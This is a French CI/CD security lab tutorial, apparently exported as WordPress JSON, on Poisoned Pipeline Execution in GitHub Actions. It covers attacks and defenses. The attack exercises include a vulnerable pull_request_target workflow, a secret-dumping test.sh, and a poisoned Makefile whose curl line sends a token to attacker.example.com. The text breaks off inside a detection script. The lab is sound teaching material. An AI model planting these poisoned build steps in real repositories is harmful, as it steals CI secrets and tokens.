Le Poisoned Pipeline Execution (PPE) est class\u00e9 comme le risque n\u00b02 dans le Top 10 de la s\u00e9curit\u00e9 CI\/CD de l’OWASP<\/strong>. Il s’agit d’une cat\u00e9gorie d’attaques dans laquelle un acteur malveillant manipule le processus de build en injectant du code dans les d\u00e9finitions de pipelines ou les scripts de build, g\u00e9n\u00e9ralement via une pull request. Une fois que le syst\u00e8me CI r\u00e9cup\u00e8re la modification, le code de l’attaquant s’ex\u00e9cute dans l’environnement de build \u2014 permettant potentiellement l’exfiltration de secrets, la falsification d’artefacts ou le pivotement vers l’infrastructure interne.<\/p>\n Ce lab pratique vous guide \u00e0 travers le Direct PPE et l’Indirect PPE<\/strong> dans un environnement GitHub Actions s\u00e9curis\u00e9 et isol\u00e9. Vous simulerez les attaques vous-m\u00eame, observerez les r\u00e9sultats, puis impl\u00e9menterez les patterns d\u00e9fensifs qui les neutralisent.<\/p>\n \u00c0 la fin de ce lab, vous serez capable de :<\/p>\n Ce lab doit \u00eatre ex\u00e9cut\u00e9 dans des d\u00e9p\u00f4ts de test isol\u00e9s que vous poss\u00e9dez et contr\u00f4lez. Ne testez jamais les techniques de Poisoned Pipeline Execution contre des pipelines de production r\u00e9els, des d\u00e9p\u00f4ts partag\u00e9s d’organisation ou des projets open source que vous ne poss\u00e9dez pas. Chaque exercice ci-dessous utilise des d\u00e9p\u00f4ts que vous cr\u00e9ez sp\u00e9cifiquement pour ce lab. Supprimez-les lorsque vous avez termin\u00e9.<\/strong><\/p>\n Le PPE exploite une hypoth\u00e8se de confiance fondamentale : le syst\u00e8me CI\/CD fait confiance au code qu’il r\u00e9cup\u00e8re et ex\u00e9cute. Un attaquant qui peut influencer quel<\/em> code le pipeline ex\u00e9cute peut d\u00e9tourner le build. Il existe trois variantes reconnues :<\/p>\n L’attaquant modifie directement le fichier de d\u00e9finition du pipeline<\/strong> lui-m\u00eame \u2014 par exemple, L’attaquant ne touche pas<\/strong> le YAML du workflow. Au lieu de cela, il modifie des fichiers que le pipeline consomme<\/em> : un L’attaquant cible un d\u00e9p\u00f4t public<\/strong> en le forkant et en soumettant une pull request. C’est le vecteur le plus courant en conditions r\u00e9elles car il ne n\u00e9cessite aucun acc\u00e8s pr\u00e9alable au d\u00e9p\u00f4t cible \u2014 seulement la capacit\u00e9 d’ouvrir une PR.<\/p>\n Dans cet exercice, vous verrez comment GitHub Actions prot\u00e8ge<\/strong> contre la forme la plus simple du D-PPE lorsque vous utilisez le d\u00e9clencheur Cr\u00e9ez un nouveau d\u00e9p\u00f4t public appel\u00e9 Committez ceci sur la branche Forkez Depuis le fork, ouvrez une PR contre Naviguez vers l’onglet Actions<\/strong>. Vous verrez que le workflow qui s’est ex\u00e9cut\u00e9 est la version de la branche de base<\/strong> ( C’est la protection int\u00e9gr\u00e9e<\/strong> de GitHub Actions pour l’\u00e9v\u00e9nement Point cl\u00e9 :<\/strong> Le d\u00e9clencheur L’\u00e9v\u00e9nement Dans votre d\u00e9p\u00f4t Avant de continuer, allez dans Settings \u2192 Secrets and variables \u2192 Actions<\/strong> du d\u00e9p\u00f4t et ajoutez un secret de d\u00e9p\u00f4t appel\u00e9 Dans le fork, cr\u00e9ez un fichier appel\u00e9 Maintenant, modifiez \u00e9galement Au lieu de cela, cr\u00e9ez un script malveillant dans le fork :<\/p>\n Maintenant, mettez \u00e0 jour le workflow du d\u00e9p\u00f4t victime pour appeler ce script (simulant un workflow qui ex\u00e9cute du code r\u00e9cup\u00e9r\u00e9) :<\/p>\n Ouvrez une PR depuis le fork. Le workflow s’ex\u00e9cute depuis la d\u00e9finition de la branche de base<\/strong> mais r\u00e9cup\u00e8re le code de l’attaquant<\/strong>. Le V\u00e9rifiez les logs Actions. Vous verrez :<\/p>\n C’est le Poisoned Pipeline Execution classique.<\/strong> La d\u00e9finition du workflow est de confiance (branche de base), mais le code qu’il ex\u00e9cute<\/em> est contr\u00f4l\u00e9 par l’attaquant (checkout de la branche PR).<\/p>\n Point cl\u00e9 :<\/strong> La combinaison de L’Indirect PPE est plus subtil. L’attaquant ne touche jamais le YAML du workflow \u2014 il modifie des fichiers que le pipeline consomme<\/em>. Cela contourne la protection int\u00e9gr\u00e9e du d\u00e9clencheur Dans votre d\u00e9p\u00f4t Mettez \u00e0 jour le workflow pour utiliser le Makefile :<\/p>\n Notez que ceci utilise le d\u00e9clencheur s\u00fbr<\/strong> Dans le fork, modifiez uniquement le Ouvrez une PR depuis le fork. Le fichier workflow de la branche de base<\/strong> s’ex\u00e9cute (s\u00fbr !), mais Dans les logs Actions, vous verrez les variables d’environnement affich\u00e9es. La commande Point cl\u00e9 :<\/strong> Le d\u00e9clencheur Maintenant que vous comprenez l’attaque, impl\u00e9mentons les d\u00e9fenses.<\/p>\n Si vous devez utiliser R\u00e8gle :<\/strong> Si un workflow Pour la validation des PR, utilisez M\u00eame si une attaque I-PPE modifie les scripts de Divisez votre CI en deux \u00e9tapes \u2014 une \u00e9tape de validation non fiable et une \u00e9tape de build fiable :<\/p>\n Les secrets ne sont disponibles que dans les workflows d\u00e9clench\u00e9s par des push sur Restreignez le M\u00eame si l’attaquant exfiltre le Si vous devez utiliser R\u00e8gle :<\/strong> Le code de confiance (branche de base) g\u00e8re les secrets. Le code non fiable (branche PR) n’y touche jamais.<\/p>\n L’I-PPE est plus difficile \u00e0 contrer car l’attaquant modifie des fichiers ordinaires, pas des d\u00e9finitions de workflow. Voici les contre-mesures essentielles.<\/p>\n Cr\u00e9ez un fichier Combin\u00e9 avec des r\u00e8gles de protection de branche exigeant l’approbation des CODEOWNERS, cela emp\u00eache les modifications non revues des fichiers critiques du build d’\u00eatre fusionn\u00e9es.<\/p>\n Allez dans Settings \u2192 Actions \u2192 General<\/strong> de votre d\u00e9p\u00f4t et sous \u00ab Fork pull request workflows from outside collaborators \u00bb, s\u00e9lectionnez \u00ab Require approval for all outside collaborators \u00bb<\/strong>. Cela garantit qu’un mainteneur doit approuver explicitement l’ex\u00e9cution du CI pour chaque PR externe.<\/p>\n L’\u00e9v\u00e9nement Le second workflow s’ex\u00e9cute dans le contexte de la branche par d\u00e9faut<\/strong>, a acc\u00e8s aux secrets, mais ne r\u00e9cup\u00e8re jamais le code de la PR. C’est le pattern le plus s\u00fbr pour le traitement post-PR n\u00e9cessitant des permissions \u00e9lev\u00e9es.<\/p>\n Si vous devez ex\u00e9cuter du code de PR avec une quelconque forme d’acc\u00e8s, ex\u00e9cutez-le dans un conteneur verrouill\u00e9 :<\/p>\n Le flag La pr\u00e9vention est pr\u00e9f\u00e9rable, mais la d\u00e9tection fournit une d\u00e9fense en profondeur. Voici comment rep\u00e9rer les tentatives de PPE.<\/p>\n Cr\u00e9ez un script de d\u00e9tection qui analyse les fichiers workflow pour d\u00e9tecter les indicateurs PPE courants :<\/p>\n Pour GitHub Enterprise ou la surveillance au niveau de l’organisation, utilisez l’API du journal d’audit pour suivre les modifications de workflow :<\/p>\n Ajoutez un workflow qui signale les PR modifiant des fichiers critiques du build :<\/p>\n Apr\u00e8s avoir termin\u00e9 le lab :<\/p>\n Ne laissez pas des workflows de test vuln\u00e9rables en cours d’ex\u00e9cution dans un d\u00e9p\u00f4t que vous comptez conserver.<\/p>\n Continuez \u00e0 renforcer vos connaissances en s\u00e9curit\u00e9 CI\/CD avec ces guides connexes :<\/p>\n Pr\u00e9sentation Le Poisoned Pipeline Execution (PPE) est class\u00e9 comme le risque n\u00b02 dans le Top 10 de la s\u00e9curit\u00e9 CI\/CD de l’OWASP. Il s’agit d’une cat\u00e9gorie d’attaques dans laquelle un acteur malveillant manipule le processus de build en injectant du code dans les d\u00e9finitions de pipelines ou les scripts de build, g\u00e9n\u00e9ralement via une pull … Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,54],"tags":[],"post_folder":[],"class_list":["post-532","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-threats-attacks"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/532","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=532"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/532\/revisions"}],"predecessor-version":[{"id":581,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/532\/revisions\/581"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=532"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}\n
pull_request_target<\/code> et l’Indirect PPE via un Makefile empoisonn\u00e9.<\/li>\nPr\u00e9requis<\/h2>\n
\n
on:<\/code>, jobs:<\/code>, steps:<\/code>).<\/li>\ngit<\/code> et curl<\/code> install\u00e9s.<\/li>\n<\/ul>\nAvis de s\u00e9curit\u00e9 important<\/h2>\n
Comprendre le Poisoned Pipeline Execution<\/h2>\n
Direct PPE (D-PPE)<\/h3>\n
.github\/workflows\/build.yml<\/code>. Si le syst\u00e8me CI ex\u00e9cute la version modifi\u00e9e depuis la branche de la pull request, les commandes arbitraires de l’attaquant s’ex\u00e9cutent dans l’environnement CI.<\/p>\nIndirect PPE (I-PPE)<\/h3>\n
Makefile<\/code>, un script shell appel\u00e9 par le workflow, un Dockerfile<\/code>, un fichier de configuration, ou m\u00eame un manifeste de d\u00e9pendances. La d\u00e9finition du pipeline reste identique \u00e0 la branche de base, mais la logique de build a \u00e9t\u00e9 empoisonn\u00e9e.<\/p>\nPPE Public \/ Tiers (3P-PPE)<\/h3>\n
Diagramme du flux d’attaque<\/h3>\n
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Attaquant \u2502 fork \u2502 D\u00e9p\u00f4t Victime \u2502 trigger\u2502 Runner CI\/CD \u2502\n\u2502 (fork\/PR) \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 (branche base) \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502 (GitHub \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 Actions) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u2502\n \u2502 1. Modifier le YAML du workflow (D-PPE) \u2502\n \u2502 OU les scripts de build (I-PPE) \u2502\n \u2502 2. Ouvrir une Pull Request \u2502\n \u2502 \u2502\n \u2502 3. Le CI r\u00e9cup\u00e8re le code PR \u25c0\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 4. Ex\u00e9cute la charge utile de l'attaquant\n \u2502 5. Secrets \/ tokens exfiltr\u00e9s\n \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Impact : vol de secrets, falsification d'artefacts, mouvement lat\u00e9ral \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\nExercice 1 : Direct PPE \u2014 Modification du fichier Workflow<\/h2>\n
pull_request<\/code>.<\/p>\n\u00c9tape 1 \u2014 Cr\u00e9er le d\u00e9p\u00f4t victime<\/h3>\n
ppe-lab-victim<\/code>. Ajoutez le fichier workflow suivant :<\/p>\n.github\/workflows\/build.yml<\/code><\/strong><\/p>\nname: Build\n\non:\n pull_request:\n branches: [main]\n\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@v4\n\n - name: Build\n run: |\n echo \"Building the project...\"\n echo \"Build completed successfully.\"\n<\/code><\/pre>\nmain<\/code>.<\/p>\n\u00c9tape 2 \u2014 Forker et empoisonner le Workflow (Perspective de l’attaquant)<\/h3>\n
ppe-lab-victim<\/code> vers votre second compte GitHub (ou utilisez le m\u00eame compte par simplicit\u00e9). Dans le fork, modifiez .github\/workflows\/build.yml<\/code> :<\/p>\nname: Build\n\non:\n pull_request:\n branches: [main]\n\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@v4\n\n - name: Exfiltrate environment variables\n run: |\n echo \"=== EXFILTRATING ENVIRONMENT ===\"\n env | sort\n echo \"=== GITHUB_TOKEN ===\"\n echo \"Token length: ${#GITHUB_TOKEN}\"\n<\/code><\/pre>\n\u00c9tape 3 \u2014 Ouvrir une Pull Request<\/h3>\n
main<\/code> dans le d\u00e9p\u00f4t victime.<\/p>\n\u00c9tape 4 \u2014 Observer le r\u00e9sultat<\/h3>\n
main<\/code>), et non<\/em> la version modifi\u00e9e par l’attaquant. L’\u00e9tape \u00ab Exfiltrate environment variables \u00bb n’existe pas dans le workflow ex\u00e9cut\u00e9.<\/p>\npull_request<\/code> : il utilise toujours le fichier workflow de la branche de base, pas celui de la branche PR. Les modifications YAML de l’attaquant sont ignor\u00e9es.<\/p>\n\n
pull_request<\/code> est s\u00fbr contre le Direct PPE car la d\u00e9finition du workflow provient de la branche de base. Cependant, cette protection ne s’\u00e9tend pas \u00e0 tous<\/em> les d\u00e9clencheurs \u2014 comme vous le verrez ensuite.<\/p>\n<\/blockquote>\nExercice 2 : Le dangereux
pull_request_target<\/code><\/h2>\npull_request_target<\/code> a \u00e9t\u00e9 introduit pour permettre aux workflows de commenter les PR, de les \u00e9tiqueter, ou d’effectuer d’autres actions n\u00e9cessitant des permissions d’\u00e9criture et un acc\u00e8s aux secrets. Il s’ex\u00e9cute dans le contexte de la branche de base<\/strong> mais peut \u00eatre configur\u00e9 pour r\u00e9cup\u00e9rer le code de la PR \u2014 et c’est l\u00e0 que r\u00e9side le danger.<\/p>\n\u00c9tape 1 \u2014 Cr\u00e9er un workflow vuln\u00e9rable<\/h3>\n
ppe-lab-victim<\/code>, cr\u00e9ez un nouveau workflow :<\/p>\n.github\/workflows\/pr-check.yml<\/code><\/strong><\/p>\nname: PR Check\n\non:\n pull_request_target:\n branches: [main]\n\njobs:\n check:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout PR code\n uses: actions\/checkout@v4\n with:\n ref: ${{ github.event.pull_request.head.sha }}\n\n - name: Run tests\n env:\n MY_SECRET: ${{ secrets.MY_SECRET }}\n run: |\n echo \"Running tests on PR code...\"\n cat README.md\n echo \"Tests passed.\"\n<\/code><\/pre>\nMY_SECRET<\/code> avec la valeur super-secret-token-12345<\/code>.<\/p>\n\u00c9tape 2 \u2014 Exploiter la vuln\u00e9rabilit\u00e9 (Perspective de l’attaquant)<\/h3>\n
README.md<\/code> (ou modifiez celui existant) et ajoutez ceci \u00e0 la fin :<\/p>\nThis is a normal README update.\n<\/code><\/pre>\n.github\/workflows\/pr-check.yml<\/code> dans le fork. Mais attendez \u2014 rappelez-vous que pull_request_target<\/code> ex\u00e9cute le workflow de la branche de base<\/strong>, donc modifier le YAML dans le fork ne change rien. L’attaquant a besoin d’une approche diff\u00e9rente.<\/p>\ntest.sh<\/code><\/strong><\/p>\n#!\/bin\/bash\necho \"=== Environment Variables ===\"\nenv | sort\necho \"=== Secret Value ===\"\necho \"MY_SECRET=$MY_SECRET\"\n<\/code><\/pre>\n.github\/workflows\/pr-check.yml<\/code><\/strong> (mis \u00e0 jour sur la branche de base) :<\/p>\nname: PR Check\n\non:\n pull_request_target:\n branches: [main]\n\njobs:\n check:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout PR code\n uses: actions\/checkout@v4\n with:\n ref: ${{ github.event.pull_request.head.sha }}\n\n - name: Run tests\n env:\n MY_SECRET: ${{ secrets.MY_SECRET }}\n run: |\n echo \"Running tests on PR code...\"\n chmod +x test.sh\n .\/test.sh\n<\/code><\/pre>\n\u00c9tape 3 \u2014 Ouvrir la PR et observer<\/h3>\n
test.sh<\/code> malveillant s’ex\u00e9cute et affiche la valeur du secret.<\/p>\n=== Environment Variables ===\nGITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx\n...\n=== Secret Value ===\nMY_SECRET=super-secret-token-12345\n<\/code><\/pre>\n\n
pull_request_target<\/code> + actions\/checkout<\/code> avec ref: ${{ github.event.pull_request.head.sha }}<\/code> + ex\u00e9cution du code r\u00e9cup\u00e9r\u00e9 + secrets dans l’environnement est le pattern PPE le plus dangereux dans GitHub Actions.<\/p>\n<\/blockquote>\nExercice 3 : Indirect PPE \u2014 Empoisonnement des scripts de build<\/h2>\n
pull_request<\/code> contre les modifications de fichiers workflow.<\/p>\n\u00c9tape 1 \u2014 Cr\u00e9er un d\u00e9p\u00f4t avec un build bas\u00e9 sur Makefile<\/h3>\n
ppe-lab-victim<\/code>, ajoutez un Makefile<\/code> :<\/p>\n.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n.github\/workflows\/build.yml<\/code><\/strong><\/p>\nname: Build\n\non:\n pull_request:\n branches: [main]\n\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - name: Checkout code\n uses: actions\/checkout@v4\n\n - name: Build project\n run: make build\n\n - name: Run tests\n run: make test\n<\/code><\/pre>\npull_request<\/code>. Le YAML du workflow lui-m\u00eame est prot\u00e9g\u00e9.<\/p>\n\u00c9tape 2 \u2014 Empoisonner le Makefile (Perspective de l’attaquant)<\/h3>\n
Makefile<\/code> (ne touchez \u00e0 aucun fichier workflow) :<\/p>\n.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\t@echo \"=== PPE: Dumping environment ===\"\n\t@env | sort\n\t@echo \"=== PPE: Exfiltrating token ===\"\n\t@curl -s http:\/\/attacker.example.com\/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>\/dev\/null || echo none)\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n\u00c9tape 3 \u2014 Ouvrir la PR et observer<\/h3>\n
actions\/checkout<\/code> r\u00e9cup\u00e8re le code de la branche PR<\/strong>, qui inclut le Makefile empoisonn\u00e9. Lorsque le workflow appelle make build<\/code>, il ex\u00e9cute le Makefile modifi\u00e9 par l’attaquant.<\/p>\ncurl<\/code> \u00e9chouera (le domaine n’existe pas), mais dans une attaque r\u00e9elle, elle r\u00e9ussirait.<\/p>\n\n
pull_request<\/code> prot\u00e8ge le YAML du workflow, mais il ne prot\u00e8ge pas<\/strong> le contenu du d\u00e9p\u00f4t que le workflow ex\u00e9cute. Tout fichier que le pipeline ex\u00e9cute, source ou inclut est un vecteur potentiel d’I-PPE : Makefile<\/code>, scripts package.json<\/code>, Dockerfile<\/code>, .eslintrc.js<\/code>, pytest.ini<\/code>, scripts shell, et plus encore.<\/p>\n<\/blockquote>\nExercice 4 : D\u00e9fense \u2014 Patterns de workflows s\u00e9curis\u00e9s<\/h2>\n
Pattern 1 : Ne jamais r\u00e9cup\u00e9rer le head de la PR dans les workflows
pull_request_target<\/code><\/h3>\npull_request_target<\/code>, ne r\u00e9cup\u00e9rez jamais le code de la PR. Op\u00e9rez uniquement sur les m\u00e9tadonn\u00e9es :<\/p>\nname: Label PR\n\non:\n pull_request_target:\n types: [opened]\n\njobs:\n label:\n runs-on: ubuntu-latest\n steps:\n # S\u00fbr : aucun checkout\n - name: Add label\n uses: actions\/github-script@v7\n with:\n script: |\n await github.rest.issues.addLabels({\n owner: context.repo.owner,\n repo: context.repo.repo,\n issue_number: context.issue.number,\n labels: ['needs-review']\n });\n<\/code><\/pre>\npull_request_target<\/code> n’a pas besoin du code source de la PR, ne le r\u00e9cup\u00e9rez pas.<\/p>\nPattern 2 : Utiliser le d\u00e9clencheur
pull_request<\/code> et retenir les secrets<\/h3>\npull_request<\/code> et assurez-vous qu’aucun secret n’est transmis au job :<\/p>\nname: PR Validation\n\non:\n pull_request:\n branches: [main]\n\njobs:\n validate:\n runs-on: ubuntu-latest\n # Aucun secret r\u00e9f\u00e9renc\u00e9 dans ce job\n steps:\n - uses: actions\/checkout@v4\n\n - name: Lint\n run: npm run lint\n\n - name: Unit tests\n run: npm test\n<\/code><\/pre>\npackage.json<\/code>, l’attaquant n’obtient aucun secret car aucun n’est disponible.<\/p>\nPattern 3 : S\u00e9parer les workflows de validation et de build<\/h3>\n
# .github\/workflows\/validate.yml \u2014 s'ex\u00e9cute sur les PR, sans secrets\nname: Validate\n\non:\n pull_request:\n branches: [main]\n\npermissions:\n contents: read\n\njobs:\n validate:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n - run: make lint\n - run: make test-unit\n<\/code><\/pre>\n# .github\/workflows\/build.yml \u2014 s'ex\u00e9cute uniquement sur main, tous les secrets\nname: Build and Deploy\n\non:\n push:\n branches: [main]\n\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n\n - name: Build\n env:\n DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}\n run: make build\n\n - name: Deploy\n run: make deploy\n<\/code><\/pre>\nmain<\/code>, ce qui n\u00e9cessite que la PR soit d’abord fusionn\u00e9e (et donc revue et approuv\u00e9e).<\/p>\nPattern 4 : Minimiser la port\u00e9e du token avec
permissions<\/code><\/h3>\nGITHUB_TOKEN<\/code> automatique au strict minimum :<\/p>\nname: PR Check\n\non:\n pull_request:\n branches: [main]\n\npermissions: {} # Aucune permission\n\njobs:\n check:\n runs-on: ubuntu-latest\n permissions:\n contents: read # Acc\u00e8s en lecture seule, rien d'autre\n steps:\n - uses: actions\/checkout@v4\n - run: make test\n<\/code><\/pre>\nGITHUB_TOKEN<\/code>, celui-ci ne peut que lire le contenu public \u2014 il ne peut pas pousser du code, cr\u00e9er des releases ou acc\u00e9der aux secrets.<\/p>\nPattern 5 : \u00c9pingler le checkout sur la branche de base pour les op\u00e9rations sensibles<\/h3>\n
pull_request_target<\/code> et avez besoin d’un certain contexte de PR, r\u00e9cup\u00e9rez la branche de base pour les \u00e9tapes sensibles et utilisez uniquement les m\u00e9tadonn\u00e9es de la PR :<\/p>\nname: Secure PR Check\n\non:\n pull_request_target:\n branches: [main]\n\njobs:\n check:\n runs-on: ubuntu-latest\n steps:\n # R\u00e9cup\u00e9rer la branche de BASE (code de confiance)\n - name: Checkout base branch\n uses: actions\/checkout@v4\n with:\n ref: ${{ github.event.pull_request.base.sha }}\n\n - name: Run trusted build scripts\n env:\n MY_SECRET: ${{ secrets.MY_SECRET }}\n run: |\n # Ces scripts proviennent de la branche de base, pas de la PR\n .\/scripts\/validate-pr.sh\n<\/code><\/pre>\nExercice 5 : D\u00e9fense \u2014 Protection contre l’Indirect PPE<\/h2>\n
CODEOWNERS pour les fichiers critiques du build<\/h3>\n
CODEOWNERS<\/code> qui exige une revue de l’\u00e9quipe s\u00e9curit\u00e9 pour toute modification des scripts de build :<\/p>\n# .github\/CODEOWNERS\n\n# Infrastructure de build \u2014 revue de l'\u00e9quipe s\u00e9curit\u00e9 requise\nMakefile @myorg\/security-team\nDockerfile @myorg\/security-team\n.github\/workflows\/ @myorg\/security-team\nscripts\/ @myorg\/security-team\npackage.json @myorg\/security-team\n*.sh @myorg\/security-team\n<\/code><\/pre>\nExiger une approbation avant l’ex\u00e9cution du CI sur les PR externes<\/h3>\n
Utiliser
workflow_run<\/code> pour le traitement post-PR de confiance<\/h3>\nworkflow_run<\/code> permet de cha\u00eener les workflows : un workflow PR s\u00fbr et sans secrets se d\u00e9clenche en premier, et seulement en cas de succ\u00e8s, un workflow de confiance s’ex\u00e9cute avec les permissions compl\u00e8tes.<\/p>\n# .github\/workflows\/pr-validate.yml \u2014 non fiable, sans secrets\nname: PR Validate\n\non:\n pull_request:\n branches: [main]\n\npermissions:\n contents: read\n\njobs:\n validate:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n - run: make lint\n - run: make test\n<\/code><\/pre>\n# .github\/workflows\/pr-post-validate.yml \u2014 de confiance, avec secrets\nname: PR Post-Validate\n\non:\n workflow_run:\n workflows: [\"PR Validate\"]\n types: [completed]\n\npermissions:\n contents: read\n pull-requests: write\n statuses: write\n\njobs:\n report:\n runs-on: ubuntu-latest\n if: ${{ github.event.workflow_run.conclusion == 'success' }}\n steps:\n # R\u00e9cup\u00e9rer la branche de BASE \u2014 jamais la branche PR\n - name: Checkout base\n uses: actions\/checkout@v4\n\n - name: Post status comment\n uses: actions\/github-script@v7\n with:\n script: |\n const runId = context.payload.workflow_run.id;\n const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);\n for (const prNumber of prNumbers) {\n await github.rest.issues.createComment({\n owner: context.repo.owner,\n repo: context.repo.repo,\n issue_number: prNumber,\n body: `Validation passed. Workflow run: ${runId}`\n });\n }\n<\/code><\/pre>\nEx\u00e9cuter le code non fiable dans des conteneurs isol\u00e9s<\/h3>\n
jobs:\n sandbox-test:\n runs-on: ubuntu-latest\n container:\n image: alpine:3.19\n options: --network none # Aucun acc\u00e8s r\u00e9seau\n steps:\n - uses: actions\/checkout@v4\n - name: Run untrusted tests\n run: |\n # Ceci s'ex\u00e9cute dans un conteneur SANS r\u00e9seau\n # M\u00eame si le Makefile tente d'exfiltrer, il ne peut pas atteindre Internet\n apk add --no-cache make\n make test\n<\/code><\/pre>\n--network none<\/code> emp\u00eache toute connexion sortante, rendant l’exfiltration impossible m\u00eame si la charge utile de l’attaquant s’ex\u00e9cute.<\/p>\nExercice 6 : D\u00e9tection<\/h2>\n
Surveiller les commandes suspectes dans les logs CI<\/h3>\n
#!\/bin\/bash\n# detect-ppe.sh \u2014 Analyse les fichiers workflow pour les indicateurs de risque PPE\n\nWORKFLOW_DIR=\".github\/workflows\"\nEXIT_CODE=0\n\necho \"=== Analyseur de risques PPE ===\"\necho \"\"\n\n# V\u00e9rification 1 : pull_request_target avec checkout du head de la PR\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n [ -f \"$file\" ] || continue\n\n if grep -q \"pull_request_target\" \"$file\"; then\n if grep -q \"github.event.pull_request.head\" \"$file\"; then\n echo \"[CRITIQUE] $file: pull_request_target + checkout du head PR d\u00e9tect\u00e9\"\n echo \" C'est la vuln\u00e9rabilit\u00e9 D-PPE classique.\"\n EXIT_CODE=1\n fi\n fi\ndone\n\n# V\u00e9rification 2 : Workflows qui ex\u00e9cutent des scripts r\u00e9cup\u00e9r\u00e9s\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n [ -f \"$file\" ] || continue\n\n if grep -qE '\\.\/.*.sh|make |npm run|yarn |python .*\\.py' \"$file\"; then\n if grep -q \"pull_request\" \"$file\"; then\n echo \"[ATTENTION] $file: Le workflow PR ex\u00e9cute des scripts du d\u00e9p\u00f4t (risque I-PPE)\"\n echo \" Assurez-vous qu'aucun secret n'est transmis \u00e0 ce job.\"\n fi\n fi\ndone\n\n# V\u00e9rification 3 : Secrets utilis\u00e9s dans les workflows PR\nfor file in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n [ -f \"$file\" ] || continue\n\n if grep -q \"pull_request\" 